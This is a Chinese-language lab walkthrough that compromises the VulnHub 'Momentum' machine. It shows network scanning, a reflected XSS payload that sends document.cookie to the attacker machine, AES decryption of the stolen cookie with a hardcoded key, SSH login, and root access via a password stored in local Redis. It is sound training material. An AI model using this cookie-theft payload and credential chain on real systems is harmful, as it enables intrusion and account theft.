1. 靶机环境搭建与初始扫描在开始渗透之前我们需要先搭建好实验环境。我使用的是VirtualBox虚拟机平台攻击机选择Kali Linux 2023.3版本靶机则是从VulnHub下载的Momentum镜像。这里有个小技巧建议把两台机器都设置为Host-Only网络模式这样能确保它们处于同一局域网内又不会干扰到物理网络。确认网络连通性后我习惯先用arp-scan快速定位靶机IParp-scan -I eth0 -l这个命令会列出当前网段所有活跃设备很快就能发现靶机的IP地址在我的环境中是192.168.56.103。接着用nmap进行深度扫描nmap -A -sV -T4 -p- 192.168.56.103扫描结果显示靶机开放了两个关键端口22/tcpOpenSSH 7.9p180/tcpApache 2.4.38这种配置很典型Web服务往往是突破口。我立即用浏览器访问了HTTP服务发现是个简单的图片展示网站表面看起来人畜无害。2. Web应用漏洞挖掘2.1 目录枚举与源码分析首先用dirsearch扫描网站目录结构dirsearch -u http://192.168.56.103 -e php,html,js除了常见的/css、/js目录外扫描发现了/manual目录但里面只是Apache文档。真正引起我注意的是/js/main.js文件查看源码时发现了关键线索function viewDetails(str) { window.location.href opus-details.php?idstr; } /* var CryptoJS require(crypto-js); var decrypted CryptoJS.AES.decrypt(encrypted, SecretPassphraseMomentum); */这段注释透露了两个重要信息网站使用opus-details.php处理图片详情存在AES加密机制且密钥可能是SecretPassphraseMomentum2.2 XSS漏洞验证与利用测试opus-details.php时我发现id参数存在反射型XSS漏洞。简单测试payloadcurl http://192.168.56.103/opus-details.php?idscriptalert(1)/script页面确实弹出了警告框。于是构造了更复杂的payload来窃取cookiehttp://192.168.56.103/opus-details.php?idscriptdocument.locationhttp://攻击机IP/cookie.php?cdocument.cookie/script在Kali上搭建简易HTTP服务后成功获取到加密的cookie值U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt3. 加密数据破解与初始访问3.1 AES解密实战利用之前发现的密钥SecretPassphraseMomentum我使用OpenSSL解密cookieecho U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt | openssl enc -d -aes-256-cbc -md md5 -a -pass pass:SecretPassphraseMomentum解密后得到字符串auxerre-alienum##这极可能是系统凭据。尝试SSH登录ssh auxerre192.168.56.103输入密码后成功获取user shell在home目录找到第一个flag84157165c30ad34d18945b647ec7f6474. 权限提升之路4.1 本地信息收集登录后我立即检查了sudo权限sudo -l可惜没有sudo权限。接着查找SUID程序find / -perm -us -type f 2/dev/null结果都是系统常见程序没有可利用点。这时我注意到系统进程中有redis-serverps aux | grep redis4.2 Redis未授权访问利用检查发现Redis监听在127.0.0.1:6379由于是在本地可以直接连接redis-cli -h 127.0.0.1执行keys *命令发现存在rootpass键127.0.0.1:6379 get rootpass m0mentum-al1enum##4.3 获取root权限使用获取到的密码切换root用户su -输入密码后成功提权在/root目录下找到最终的flag658ff660fdac0b079ea78238e5996e40整个渗透过程中最关键的转折点是从XSS漏洞获取加密cookie到利用硬编码密钥解密获得初始凭据。这种链条式的漏洞利用在实际环境中也很常见提醒我们在开发时要避免密钥硬编码同时要做好输入过滤防止XSS漏洞。